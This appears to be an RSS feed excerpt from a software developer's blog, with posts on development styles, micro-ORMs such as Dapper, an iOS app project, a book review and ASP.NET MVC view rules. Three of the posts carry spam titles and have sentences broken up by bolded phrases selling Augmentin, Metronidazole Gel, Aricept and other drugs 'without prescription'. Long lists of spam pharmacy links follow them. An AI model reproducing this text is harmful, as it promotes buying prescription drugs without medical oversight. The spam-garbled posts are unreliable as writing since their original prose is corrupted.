<b>Trackbacks from:</b> <a href='http://www.leaduganda.org/?p=3514'>Flagyl For Sale</a>. <a href='http://www.macneilbmx.com/blog/?p=6916'>Flagyl For Sale</a>. <a href='http://www.greatgreengoods.com/?p=4031'>Flagyl For Sale</a>. <a href='http://www.thegriffonnews.com/?p=10580'>Flagyl For Sale</a>. <a href='http://www.independentworldreport.com/?p=2643'>Flagyl For Sale</a>. <a href='http://4realz.net/?p=2486'>What is Flagyl</a>. <a href='http://tvtownhall.com/?p=1903'>Where to buy Flagyl</a>. <a href='http://reversemortgagedaily.com/?p=14810'>Canada, mexico, india</a>. <a href='http://linuxologist.com/?p=1840'>Flagyl trusted pharmacy reviews</a>. <a href='http://home.officesnapshots.com/?p=364'>Japan, craiglist, ebay, overseas, paypal</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2012/04/10/getting-hacked-and-seven-levels-of-indirection/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>Buy Augmentin Without Prescription</title>
		<link>http://elegantcode.com/2012/01/16/marines-vs-boy-scouts/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=marines-vs-boy-scouts</link>
		<comments>http://elegantcode.com/2012/01/16/marines-vs-boy-scouts/#comments</comments>
		<pubDate>Mon, 16 Jan 2012 17:08:00 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Esoterica]]></category>

		<guid isPermaLink="false">http://elegantcode.com/2012/01/16/marines-vs-boy-scouts/</guid>
		<description><![CDATA[Buy Augmentin Without Prescription, What I’m talking about here are two styles of development.&#160; And this isn’t an “us vs. them”, get Augmentin, Augmentin use, this is a “me, myself, where can i order Augmentin without prescription, Buy generic Augmentin, I and all of yall”.&#160; We all use both of these patterns in developing code, [...]]]></description>
			<content:encoded><![CDATA[<p> <p> <b>Buy Augmentin Without Prescription</b>, What I’m talking about here are two styles of development.&#160; And this isn’t an “us vs. them”, <b>get Augmentin</b>, <b>Augmentin use</b>, this is a “me, myself, <b>where can i order Augmentin without prescription</b>, <b>Buy generic Augmentin</b>, I and all of yall”.&#160; We all use both of these patterns in developing code, and will even switch patterns in the same product from feature to feature.&#160; Anyway, <b>Augmentin wiki</b>, <b>Australia, uk, us, usa</b>, here are your definitions:</p>  <p><strong>Boy Scout</strong>:&#160; “Leave thing better than you found them”</p>  <p><strong>Marine</strong>: “Get in, get out, <b>taking Augmentin</b>, <b>Augmentin alternatives</b>, leave no trace behind.”</p>  <p>Sounds simple right?&#160; So where does this apply?&#160; Starting with the Marine.&#160; I more frequently use this when dealing with someone else’s code, or something I just need to hack out real quick.&#160; Often you don’t plan on maintaining the code, <b>about Augmentin</b>, <b>Augmentin online cod</b>, probably won’t own it, or you are just following the given pattern that is already established in the code – no matter how bad it is.&#160; Typically you are just trying to get in and out without your name being attached.&#160; You will also hear the adage “if it ain’t broke don’t fix it” commonly among staunch practitioners.&#160; You can maintain code like this for a while, <b>buy no prescription Augmentin online</b>, <b>Augmentin long term</b>, but if used too often it will come back to haunt you.&#160; Each feature becomes harder to add, unexpected behaviors crop up, <b>order Augmentin online c.o.d</b>, <b>Augmentin no rx</b>, and performance problems creep in.</p>  <p>Now the Boy Scout.&#160; You are adding a feature and find a mess.&#160; The code is working, but is very unmaintainable.&#160; Instead of just adding your feature, <b>buy Augmentin without prescription</b>, <b>Augmentin photos</b>, you tear the code apart and refactor the daylights out of the code.&#160; Once complete and all is in order, then you add your feature.&#160; It took you three times longer than expected to get the feature added, <b>online Augmentin without a prescription</b>, <b>Augmentin treatment</b>, but you might be saving time in the future, assuming you will need to work with the code again.&#160; Unfortunately, <b>get Augmentin</b>, <b>Ordering Augmentin online</b>, it is also very possible to get over your head in a hurry.&#160; It would be great to have some unit tests to fall back on in this situation … but I haven’t seen that yet.&#160; A good thing to do before you start a boy scout trip is to warn people where you are going, how long you’ll be there, <b>Augmentin from canadian pharmacy</b>, <b>Augmentin australia, uk, us, usa</b>, and when to send for help.</p>  <h2>Pointers</h2>  <p>Now, lets not get too far ahead of ourselves here, <b>where can i cheapest Augmentin online</b>, <b>Kjøpe Augmentin på nett, köpa Augmentin online</b>, there is absolutely a time and place for each approach.&#160; It should also not be too hard to understand which is correct – but I’ll give some guidance anyway.&#160; Here are some points.</p>  <ol>   <li>If the code in question will be rarely used by one guy in the basement and doesn’t own a gun, marine mission till the cows come home.</li>    <li>If the code is non-critical, <b>Augmentin pharmacy</b>, <b>Discount Augmentin</b>, proof of concept, spike, <b>Augmentin without a prescription</b>, <b>Augmentin cost</b>, or the like and can get everything done in less than 4 hours, marine mission.</li>    <li>If you are a consultant brought in to add one feature and supplement a team with a strange style but is currently working for them, <b>Augmentin use</b>, <b>Augmentin trusted pharmacy reviews</b>, marine mission.&#160; Otherwise you will be “that guy”, meaning the one that didn’t fit in.&#160; Sometime it pays to just go with the flow.</li>    <li>If the code is critical path, <b>Augmentin steet value</b>, <b>Rx free Augmentin</b>, a essential web page seen by every customer you have: Boy Scout, and continue to Boy Scout.</li>    <li>If the code is already a buggy mess, <b>Augmentin dose</b>, <b>Doses Augmentin work</b>, the customers hate you, your product, <b>Augmentin recreational</b>, <b>Canada, mexico, india</b>, and your car – role up your sleeves and get to work.</li> </ol>  <p>End result, either approach can get you in trouble when used inappropriately.&#160; You need sound judgment to figure this out.&#160; But then again, <b>buy Augmentin online no prescription</b>, <b>Augmentin without prescription</b>, if software development was easy everyone would do it.</p>.  Buy Augmentin online cod.  Where can i buy cheapest Augmentin online.</p>
<p></p>
<p><b>Similar posts:</b> <a href='http://elegantcode.com/?p=4657'>Lexapro For Sale</a>. <a href='http://elegantcode.com/?p=4452'>Stromectol For Sale</a>. <a href='http://elegantcode.com/?p=4867'>Buy Soma Without Prescription</a>. <a href='http://elegantcode.com/?p=4758'>Buy Atenolol Without Prescription</a>. <a href='http://elegantcode.com/?p=4553'>Buy Female Pink Viagra Without Prescription</a>. <a href='http://elegantcode.com/?p=4662'>Where can i buy cheapest Antabuse online</a>. <a href='http://elegantcode.com/?p=4508'>Slimex (Obetrim) photos</a>. <a href='http://elegantcode.com/?p=4623'>Augmentin description</a>. <a href='http://elegantcode.com/?p=4752'>Buy Colchicine no prescription</a>. <a href='http://elegantcode.com/?p=4322'>Clonidine natural</a>.<br />
<b>Trackbacks from:</b> <a href='http://www.quarterlives.com/?p=1090'>Buy Augmentin Without Prescription</a>. <a href='http://4realz.net/?p=2432'>Buy Augmentin Without Prescription</a>. <a href='http://www.leaduganda.org/?p=903'>Buy Augmentin Without Prescription</a>. <a href='http://www.macneilbmx.com/blog/?p=6378'>Buy Augmentin Without Prescription</a>. <a href='http://www.greatgreengoods.com/?p=3806'>Buy Augmentin Without Prescription</a>. <a href='http://reversemortgagedaily.com/?p=13969'>Augmentin description</a>. <a href='http://linuxologist.com/?p=425'>Online buy Augmentin without a prescription</a>. <a href='http://home.officesnapshots.com/?p=198'>Augmentin pharmacy</a>. <a href='http://evanrapoport.com/?p=55'>Augmentin trusted pharmacy reviews</a>. <a href='http://www.themusclecarplace.com/?p=3068'>Doses Augmentin work</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2012/01/16/marines-vs-boy-scouts/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Metronidazole Gel For Sale</title>
		<link>http://elegantcode.com/2011/08/02/thoughts-on-microorms/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=thoughts-on-microorms</link>
		<comments>http://elegantcode.com/2011/08/02/thoughts-on-microorms/#comments</comments>
		<pubDate>Wed, 03 Aug 2011 04:21:29 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Esoterica]]></category>

		<guid isPermaLink="false">http://elegantcode.com/2011/08/02/thoughts-on-microorms/</guid>
		<description><![CDATA[Metronidazole Gel For Sale, I’ve been spending some time getting my head wrapped around the idea of MicroOrms lately.&#160; A lot of this has to do with some of the scalability/caching issues I’ve been having with NHibernate.&#160; Don’t get me wrong, I still love NHibernate, but it can be a bit of a beast when [...]]]></description>
			<content:encoded><![CDATA[<p> <p> <b>Metronidazole Gel For Sale</b>, I’ve been spending some time getting my head wrapped around the idea of MicroOrms lately.&#160; A lot of this has to do with some of the scalability/caching issues I’ve been having with NHibernate.&#160; Don’t get me wrong, I still love NHibernate, but it can be a bit of a beast when you are really trying to drive performance, there is a lot of overhead in there.&#160; Besides, my general rule has been a good ORM can handle 80-90% of your queries, and then performance tune out as needed.&#160; I’m at the performance tuning part now.</p>  <p>BTW: if you are using Entity Framework you are in the same boat.</p>  <p>So the question is, what to do with that last 10-20% that you need performance on?&#160; Previously I had gone straight to Ado.Net, or used my own <a href="http://fluentado.codeplex.com/">FluentAdo</a> project.&#160; But a few new projects have dropped in on the scene and it was time to take a look.</p>  <p>Let’s start off with some requirements: </p>  <ol>   <li>Don’t be a pain to setup.</li>    <li>Don’t hork up my domain model (I have NHibernate for that).&#160; POCO preferred.</li>    <li>Be able handle multiple result sets (something NHibernate does not do well)</li>    <li>Preference executing raw sql, not an api.&#160; </li> </ol>  <ol>I don’t need:   <li>A custom query api for constructing sql. </li>    <li>Change tracking</li>    <li>Caching </li>    <li>Lazy Loading </li>    <li>Automatically loading child objects </li> </ol>  <ol>Basically, <b>online buying Metronidazole Gel</b>, <b>My Metronidazole Gel experience</b>, be simple, be light, <b>order Metronidazole Gel online c.o.d</b>, <b>Metronidazole Gel samples</b>, be fast, don’t be another NHibernate.&#160; </ol>  <p>Now the Contenders:</p>  <ul>   <ul>     <li><font style="background-color: #ffffff">Dapper </font></li>      <li>Simple.Data</li>      <li>Massive</li>      <h3>       <ul></ul>        <ul>Dapper</ul>     </h3>      <p><a href="http://code.google.com/p/dapper-dot-net/">Dapper</a> is my current favorite.&#160; I deals with POCO objects, <b>Metronidazole Gel online cod</b>, <b>Discount Metronidazole Gel</b>, setup is very simple, very little overhead and ceremony.&#160; That said, <b>purchase Metronidazole Gel online</b>, <b>Metronidazole Gel dose</b>, it is probably the rawest for dealing with sprocs.&#160; But for a bare metal way of loading domain objects, this guy is hard to beat.</p> Here is a sample query:</ul>    <p>var customer = _connection.Query&lt;Customer&gt;(     <br />&#160;&#160;&#160; &quot;select * from dbo.Customers where CustomerId = @id&quot;, <b>where can i buy cheapest Metronidazole Gel online</b>, <b>Metronidazole Gel pictures</b>, <br />&#160;&#160;&#160; new {id = 1})      <br />&#160;&#160;&#160; .FirstOrDefault();</p>    <p>Basically, Dapper handles all of my requirements with ease.&#160; I almost forgot to mention, <b>where can i find Metronidazole Gel online</b>, <b>Metronidazole Gel photos</b>, Dapper is compatible with .Net 4.0 and 3.5.&#160;&#160; That is a huge win for me.&#160; Plus, the guys on Stack Overflow are using it, <b>Metronidazole Gel samples</b>, <b>Metronidazole Gel recreational</b>, which makes for an easy “sell” to my management team.</p>    <p>&#160;</p>    <h3>Simple.Data</h3>    <ul><a href="https://github.com/markrendle/Simple.Data">Simple.Data</a> is also very interesting.&#160; It makes extensive use of .net 4.0 and the dynamic.&#160; Simple.Data is fairly ORM’ish, in that it seems to scan your database schema and dynamically add methods for retrieving data.&#160; But it still uses POCO classes so I am good with that.</ul> Here is a sample query:</ul>  <p>var db = Database.Open();   <br />var customer = db.Customers.FindByCustomerId(1);</p>  <p>To get that to work I defined the customer class with a CustomerID…and that is it.&#160; Dapper came up with the FindByCustomerId part.&#160; It also adds stored procs as well, <b>Metronidazole Gel pictures</b>, <b>Order Metronidazole Gel no prescription</b>, so if I have a sproc called “GetCustomers”, I can call:</p>  <p>db.GetCustomers()</p>  <p>It is just scary what is going on here.&#160; Granted there is a down-side to this system – albiet minor.&#160; There is a bit of overhead while Simple.Data scans your database schema and gets setup.</p>  <p>Verdict: I don’t mind Simple.Data, <b>Metronidazole Gel reviews</b>, <b>Metronidazole Gel wiki</b>, but the .Net 4.0 only part is a problem, plus it strays a bit into becoming a ORM – a bit too much API, <b>Metronidazole Gel no prescription</b>, <b>Metronidazole Gel duration</b>, but nothing obnoxious.</p>  <h3>Massive</h3>  <p>I should have known how this one would turn out ahead of time, but I really didn’t want to believe it.&#160; When I was young and foolish I was a SubSonic guy.&#160; Truth is, <b>Metronidazole Gel coupon</b>, <b>Metronidazole Gel dose</b>, I read Rob Connery’s blog religiously.&#160; But I moved passed SubSonic and onto NHibernate and never looked back.&#160; Heck, I moved passed Active Record and onto Repository Pattern.&#160; (Since then I’ve moved on again to Query/Command Pattern, <b>buy Metronidazole Gel without prescription</b>, <b>Online buy Metronidazole Gel without a prescription</b>, but another time for that).</p>  <p>First off, Massive horks up my domain model.&#160; Each entity has to inherit from DynamicModel.&#160; So before my model looked like this:</p>  <p>class Customer   <br />{    <br />&#160;&#160;&#160; public int CustomerId { get; set; }    <br />&#160;&#160;&#160; public string Name { get; set; }    <br />&#160;&#160;&#160; public string Address { get; set; }    <br />}</p>  <p>Now, <b>where can i find Metronidazole Gel online</b>, <b>Online Metronidazole Gel without a prescription</b>, Massive-fied:</p>  <p>class Customer: DynamicModel   <br />{    <br />&#160;&#160;&#160; public Customer(): base(&quot;Default&quot;)    <br />&#160;&#160;&#160; {    <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160; TableName = &quot;Customers&quot;;    <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160; PrimaryKeyField = &quot;CustomerId&quot;;    <br />&#160;&#160;&#160; }</p>  <p>&#160;&#160;&#160; public int CustomerId { get; set; }   <br />&#160;&#160;&#160; public string Name { get; set; }    <br />&#160;&#160;&#160; public string Address { get; set; }    <br />}</p>  <p>And that “Default” in there, that is the name of my connection string.&#160; Wonderful.&#160; Also, <b>buy Metronidazole Gel online no prescription</b>, <b>Buy cheap Metronidazole Gel no rx</b>, because my table names are plural, I have to specify the name of my table for them in EVERY SINGLE CLASS.</p>  <p>Now, <b>Metronidazole Gel steet value</b>, <b>Get Metronidazole Gel</b>, how to query:</p>  <p>var tbl = new Customer();   <br />var customer = tbl.Single(1);</p>  <p>Smack-dab, back to Active Record.</p>  <p>Also, <b>herbal Metronidazole Gel</b>, <b>Metronidazole Gel australia, uk, us, usa</b>, I didn’t see anything on how to parse multiple result sets.</p>  <p>Go to <a href="http://blog.wekeroad.com/helpy-stuff/and-i-shall-call-it-massive">Rob’s site and you will see more samples</a>.&#160; Needless to say, it is off my list.&#160; Granted, <b>after Metronidazole Gel</b>, <b>Purchase Metronidazole Gel online no prescription</b>, Massive is still much less overhead than NHibernate and Entity framework, but there is too much API there for me, <b>Metronidazole Gel from mexico</b>, <b>Order Metronidazole Gel from United States pharmacy</b>, too much setup, I don’t get my POCOs, <b>Metronidazole Gel long term</b>, <b>Buy cheap Metronidazole Gel</b>, etc.</p>.  Metronidazole Gel cost.  Order Metronidazole Gel online overnight delivery no prescription.</p>
<p></p>
<p><b>Similar posts:</b> <a href='http://elegantcode.com/?p=4831'>Buy Glucophage Without Prescription</a>. <a href='http://elegantcode.com/?p=4622'>Buy Diclofenac Without Prescription</a>. <a href='http://elegantcode.com/?p=4307'>Buy Toradol Without Prescription</a>. <a href='http://elegantcode.com/?p=4308'>Buy Cipro Without Prescription</a>. <a href='http://elegantcode.com/?p=4240'>Buy Combivent Without Prescription</a>. <a href='http://elegantcode.com/?p=5052'>Lotrisone cost</a>. <a href='http://elegantcode.com/?p=4233'>Online buying Pristiq hcl</a>. <a href='http://elegantcode.com/?p=4859'>Where to buy Triamterene</a>. <a href='http://elegantcode.com/?p=5163'>Online buying Zithromax</a>. <a href='http://elegantcode.com/?p=4218'>Elavil use</a>.<br />
<b>Trackbacks from:</b> <a href='http://www.macneilbmx.com/blog/?p=5244'>Metronidazole Gel For Sale</a>. <a href='http://www.greatgreengoods.com/?p=3407'>Metronidazole Gel For Sale</a>. <a href='http://www.thegriffonnews.com/?p=9775'>Metronidazole Gel For Sale</a>. <a href='http://www.independentworldreport.com/?p=198'>Metronidazole Gel For Sale</a>. <a href='http://www.themusclecarplace.com/?p=2956'>Metronidazole Gel For Sale</a>. <a href='http://www.quarterlives.com/?p=920'>Buy no prescription Metronidazole Gel online</a>. <a href='http://tayloegray.com/?p=253'>Metronidazole Gel alternatives</a>. <a href='http://social-blend.com/?p=761'>Metronidazole Gel schedule</a>. <a href='http://blog.farmland.org/?p=3382'>Online buy Metronidazole Gel without a prescription</a>. <a href='http://www.leaduganda.org/?p=1014'>Metronidazole Gel no prescription</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2011/08/02/thoughts-on-microorms/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>Aricept For Sale</title>
		<link>http://elegantcode.com/2011/04/01/so-what-was-i-thinking-anyway/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=so-what-was-i-thinking-anyway</link>
		<comments>http://elegantcode.com/2011/04/01/so-what-was-i-thinking-anyway/#comments</comments>
		<pubDate>Sat, 02 Apr 2011 01:26:28 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Esoterica]]></category>

		<guid isPermaLink="false">http://elegantcode.com/?p=4228</guid>
		<description><![CDATA[Aricept For Sale, Ever start a project just to learn something new. Aricept treatment,  But to do it, you have to have an app idea to throw around it, generic Aricept. Order Aricept online overnight delivery no prescription,  I had one of those.  I've been doing a wee bit of iOS development over the past [...]]]></description>
			<content:encoded><![CDATA[<p> <b>Aricept For Sale</b>, Ever start a project just to learn something new.  <b>Aricept treatment</b>,  But to do it, you have to have an app idea to throw around it, <b>generic Aricept</b>.  <b>Order Aricept online overnight delivery no prescription</b>,  I had one of those.  I've been doing a wee bit of iOS development over the past year, <b>Aricept class</b>, <b>Aricept pictures</b>, and I found I wanted to learn about iAds, in App Purchasing, <b>buy no prescription Aricept online</b>, <b>Online buy Aricept without a prescription</b>, talking between devices (via BlueTooth), and just get better at coding in general, <b>Aricept price</b>.  <b>Aricept forum</b>, I did just that.  I created an IPhone/IPad app called <a href="http://www.diamondbsoftware.com/index.php/agile-cards/">Agile Cards</a>, <b>Aricept For Sale</b>.  You can read up on it if you like, <b>cheap Aricept no rx</b>.  <b>Aricept trusted pharmacy reviews</b>,  Agile Cards is your basic card estimation app for the IPhone.  Real original, <b>effects of Aricept</b>, <b>Buy generic Aricept</b>, I know.  I think my competition is about a dozen other apps, <b>no prescription Aricept online</b>.  <b>Aricept For Sale</b>,  The only thing Agile Cards does that the others do not (that I know of) is use an IPad as a server.  <b>Buy Aricept online cod</b>,  This is optional of course.  So if you have several IPhones and an IPad you can have a digitally dynamic Scrum Estimation, <b>herbal Aricept</b>.  <b>About Aricept</b>, So what was I thinking.  I was thinking I needed practice, <b>Aricept coupon</b>.</p>
<p>I knew what I wanted to practice, so I thought up an app to do that with, <b>Aricept For Sale</b>.  <b>Buy Aricept without prescription</b>,  Now the great thing about the App Stores (for Apple, Android, <b>Aricept dosage</b>, <b>Aricept price, coupon</b>, and WinPhone 7), is that you can "easily" take these little apps that you are writing and sell them, <b>doses Aricept work</b>.  <b>Aricept maximum dosage</b>,  I've had dozens of apps that I've done for exactly the same purpose (to learn), but never had an easy route for selling them, <b>Aricept from canada</b>.  <b>Purchase Aricept for sale</b>,  And setting up an online store is just a big pain as far as I'm concerned.</p>
<p>But I put easily in quotes up there, <b>Aricept over the counter</b>.  <b>Aricept For Sale</b>,  There are a few caveats to my statement above.  <b>Aricept mg</b>,  I had a designer that wanted to do some more IPhone designing.  I've helped him with apps as well, <b>Aricept cost</b>, <b>Order Aricept from mexican pharmacy</b>, so he was happy to help out.  If  you are going to go onto an app store, <b>purchase Aricept</b>, <b>Comprar en línea Aricept, comprar Aricept baratos</b>, you will/should spend more time on user experience than you normally would, especially if you were just writing the app for yourself, <b>Aricept australia, uk, us, usa</b>.  <b>Where can i buy cheapest Aricept online</b>, There is also the hassle of dealing with the app store requirements.  You need icons, splash screens, verbiage (which I kind of suck at), a web site, screen shots, email addresses, etc, <b>Aricept For Sale</b>.  I even setup a Google Voice account for it, <b>Aricept steet value</b>.  <b>Aricept long term</b>,   All this for a free app.  (OK, <b>cheap Aricept</b>, <b>Real brand Aricept online</b>, there are ad, but free none the less), <b>order Aricept online c.o.d</b>.  <b>What is Aricept</b>, What was I thinking.  <b>Aricept For Sale</b>,  I was thinking I also needed the practice of finishing an app.</p>
<p>There is nothing wrong with starting an app and throwing it away, <b>Aricept gel, ointment, cream, pill, spray, continuous-release, extended-release</b>, or just stopping when you don't need to go any further.  You end up with a program with a few quirks (bugs) that never get fixed, but you are probably the only person using it anyway.  That is fine.  But every now and then you need to FINISH something.  By FINISH, I mean shipping quality, <b>Aricept For Sale</b>.  Shipping quality is hard btw.  It takes more time.  You need other people looking at things.</p>
<p>This is to remind you that software can be hard.  <b>Aricept For Sale</b>,  We deal with details, lots of them.  Selling software to other people means dealing with even more details.  It is good to do every now and then.  On your own.</p>
<p>So what was I thinking.   I thought it sounded like fun, <b>Aricept For Sale</b>.</p>
<p>And by fun, like running a marathon half prepared fun.  BTW: I never did get to the "In app purchasing" bit.   I guess that can be next time.  It was to remove the ads.  I never have released an app with every single feature I ever wanted in it.</p>
<p></p>
<p><b>Similar posts:</b> <a href='http://elegantcode.com/?p=4435'>Lipitor For Sale</a>. <a href='http://elegantcode.com/?p=4660'>Buy Lumigan Without Prescription</a>. <a href='http://elegantcode.com/?p=4337'>Vibramycin For Sale</a>. <a href='http://elegantcode.com/?p=4935'>Buy Aricept Without Prescription</a>. <a href='http://elegantcode.com/?p=4204'>Seroquel For Sale</a>. <a href='http://elegantcode.com/?p=4427'>Bactrim dose</a>. <a href='http://elegantcode.com/?p=4756'>Is Plavix safe</a>. <a href='http://elegantcode.com/?p=4426'>Lexapro without prescription</a>. <a href='http://elegantcode.com/?p=4587'>Where can i order Pristiq without prescription</a>. <a href='http://elegantcode.com/?p=4190'>Online Allopurinol without a prescription</a>.<br />
<b>Trackbacks from:</b> <a href='http://www.quarterlives.com/?p=581'>Aricept For Sale</a>. <a href='http://4realz.net/?p=1491'>Aricept For Sale</a>. <a href='http://www.leaduganda.org/?p=468'>Aricept For Sale</a>. <a href='http://www.macneilbmx.com/blog/?p=6291'>Aricept For Sale</a>. <a href='http://www.greatgreengoods.com/?p=3626'>Aricept For Sale</a>. <a href='http://social-blend.com/?p=1085'>Aricept reviews</a>. <a href='http://blog.farmland.org/?p=3058'>Purchase Aricept for sale</a>. <a href='http://reversemortgagedaily.com/?p=14779'>Aricept dosage</a>. <a href='http://linuxologist.com/?p=395'>Purchase Aricept online no prescription</a>. <a href='http://home.officesnapshots.com/?p=167'>Japan, craiglist, ebay, overseas, paypal</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2011/04/01/so-what-was-i-thinking-anyway/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Book Review: Brain Rules</title>
		<link>http://elegantcode.com/2010/11/20/book-review-brain-rules/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=book-review-brain-rules</link>
		<comments>http://elegantcode.com/2010/11/20/book-review-brain-rules/#comments</comments>
		<pubDate>Sun, 21 Nov 2010 00:28:50 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Esoterica]]></category>

		<guid isPermaLink="false">http://elegantcode.com/2010/11/20/book-review-brain-rules/</guid>
		<description><![CDATA[This is not your usual book review that you would expect on a site like this.&#160; First off, the book does not talk about code, software, or software developers even once.&#160;&#160; But, almost everything in this book is applicable to what we do as software developers, managers, project managers, and leads. The book, Brain Rules [...]]]></description>
			<content:encoded><![CDATA[<p>This is not your usual book review that you would expect on a site like this.&#160; First off, the book does not talk about code, software, or software developers even once.&#160;&#160; But, almost everything in this book is applicable to what we do as software developers, managers, project managers, and leads.</p>  <p>The book, Brain Rules by John Medina, is about the brain and what is actually know about.&#160; I like the author’s criteria for what went in the book.&#160; He called it the “Cranky Scientist Rule.”&#160; Nothing is in the book that hasn’t been published in a scientific journal, peer reviewed, and duplicated by someone else.&#160; I liked that as well.</p>  <p>Each chapter, and there are 12 of them, are about what the brain needs, and how best to give the brain what it needs.&#160; There are chapters specific to Sleep, Stress, Short term memory, long term memory, and gender.&#160; There are few absolutes in the book (except multitasking, he says you can’t do it and wants to ban texting in cars – I’ll grant him that one), but LOTS of pointers.&#160; Also, there are plenty of asides where he talks about actual people with interesting conditions you should really hope you don’t get (but probably wouldn’t notice if you did).</p>  <p>And for a book on the brain, it is not dry at all.&#160; The Author is a VERY effective writer, and judging from his credentials, probably an excellent teacher as well.&#160; If you have a few minutes, I highly recommend checking out his web site: <a href="http://BrainRules.com">BrainRules.com</a> and watch some of his videos.</p>  <p><a href="http://www.amazon.com/Brain-Rules-Principles-Surviving-Thriving/dp/0979777747/ref=sr_1_1?s=books&amp;ie=UTF8&amp;qid=1290299287&amp;sr=1-1">Check out the book as well at amazon</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2010/11/20/book-review-brain-rules/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Asp.Net MVC: My Personal View Rules</title>
		<link>http://elegantcode.com/2010/07/05/asp-net-mvc-my-personal-view-rules/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=asp-net-mvc-my-personal-view-rules</link>
		<comments>http://elegantcode.com/2010/07/05/asp-net-mvc-my-personal-view-rules/#comments</comments>
		<pubDate>Mon, 05 Jul 2010 23:10:02 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Asp.Net MVC]]></category>

		<guid isPermaLink="false">http://elegantcode.com/?p=3641</guid>
		<description><![CDATA[I've been working with a team of guys on several Asp.Net MVC projects since October of 2009.  While that isn't the greatest amount of time, and I'm still no expert, I thought I'd jot down a few of the practices that we have developed to help make coding a bit smoother.  Asp.Net MVC, as with [...]]]></description>
			<content:encoded><![CDATA[I've been working with a team of guys on several Asp.Net MVC projects since October of 2009.  While that isn't the greatest amount of time, and I'm still no expert, I thought I'd jot down a few of the practices that we have developed to help make coding a bit smoother.  Asp.Net MVC, as with every new technology can be used poorly, and when use poorly you try to identify why that code was bad, how it could have been done better.

First, lets think about what the view should be doing - in a single responsibility sort of way: turn data into html.  That right there rules out several options.  No retrieving data, no extra data transformations.  Just turn some data into html.  And frankly, that is complicated enough.  So a side goal that I strive for is to create a markup page (the aspx) that is similar to the desired html output.  The main reason for that side goal is to make double checking the output that much easier.  I want to see a 'div' in my markup, and have a reasonable idea where that 'div' will show up in the html.
<ol>
	<li><strong>Keep as much code out of your views as you can.</strong></li>
</ol>
Don't make this rule overly simplistic.  Some code belongs in the view.  A 'for' loop to create a table, a simple 'if' block to show administrator functionality, stuff like that.  But you shouldn't be having to specify the DateTime format, or string parsing.  That is what the ViewModels should do for you.  Rule of thumb, if you see a block where there is more C# than HTML, you probably did it wrong.

I will also extend this rule to JavaScript as well.  I've talked about the why JavaScript should not be in the views before, so this should not be a shock.  JavaScript belong in separate files.  Period.

2. <strong>Make Views typed.</strong>

This is true for all views where you have to pass data from the controller to the view.  Make a View Model for the view and pass data via that model.  This opens up a whole host of better patterns for you, like typed HtmlHelpers.  As a result, it is VERY rare that I will share a view model between views, or even Controller Actions.  I make separate models for GET, POST, and DELETE.  I guess my view is, the more the merrier.

3.   <strong>Make the View Models specific to the needs of the view.</strong>

OK, this isn't actually a View best practice, but it is highly related.  If you try to keep the model for the view too generic, you end up with a lot of logic in the view to transpose the data into something useful.  The key point is that the data in the model serves the view, so all of the work to get the data into the correct format should be done when putting the data into  the model.  I will often take this to the point where the model will give html elements in the view their CSS classes.  So that means I have more than data from the database in the views.

Side note: when it comes to populating View Models with data specific for the View, <a href="http://automapper.codeplex.com/">AutoMapper</a> rocks!  That is all.

4.  <strong>Custom Html Helpers are wonderful things</strong>

It is remarkably simple to create your own Html Helper, and once you get the hang of them they are beautiful.  They are wonderful little ways to encapsulate a small amount of logic so you can get it out of the aspx view.  Use them to encapsulate small amounts of code you need in various place through the project.

Another little "trick" I will use from time to time to create custom models just for a html helper (passed in via the view's view model).  I have a few places where I need to change the markup because of the browser being used...so I create a custom helper that can detect the browser.

5. <strong>Standard HTML Helpers are great, but remember html</strong>

The key point I'm trying to make here is to become familiar with the output of the standard HTML helpers.  While the helpers can be great, they have their warts (anything having to do with an attribute name/value is a bit ugly).  Sometimes it is easier to swap them out with the standard html (especially with inputs) to get the exact output you want.  As a bonus, it is easier for the next guy coming in to figure out what you were after.   Currently, I'd say I use the helpers about 50% of the time over raw HTML.

Now, typing the html, or the helper, still kind of stinks.  You have to type the same code over and over.  Take a look at what <a href="http://code.google.com/p/zen-coding/">Zen-Coding</a> does.  You can do the same thing with ReSharper Templates or Visual Studio snippets...or just install one of the ReSharper or Visual Studio pluggins.  But beyond that, there is an art to customizing Visual Studio that you should learn.

6. <strong> Wrap all links in Url.Content and Url.Action</strong>

You have a web app.  You have to navigate between pages, call web services, link in javascript and CSS.  That is just what we do.  All of those links should be wrapped in Url.Content or Url.Action helpers.   The problem that is easy to run into is you move from development to test and the base url for your application changes.  You were testing at http://localhost:898989/ , and now you are deployed to http://myserver/myapp/  and a whole lot of urls just stopped working.  Url.Content and Url.Action are supposed to fix that.  That is why you use them.

7.  <strong>Get to know Partial Views for Ajax calls.</strong>

Partial views are actually just views that don't have master pages and the html/body tag sections.  Partials can be executed in a multitude of ways, not just from inside a view on the server, but also from Javascript on the browser. JQuery also has a wonderful little method called $.load that will call a url, take the html that is returned, and slap it into the page.  This can greatly simplify a lot of behaviors.

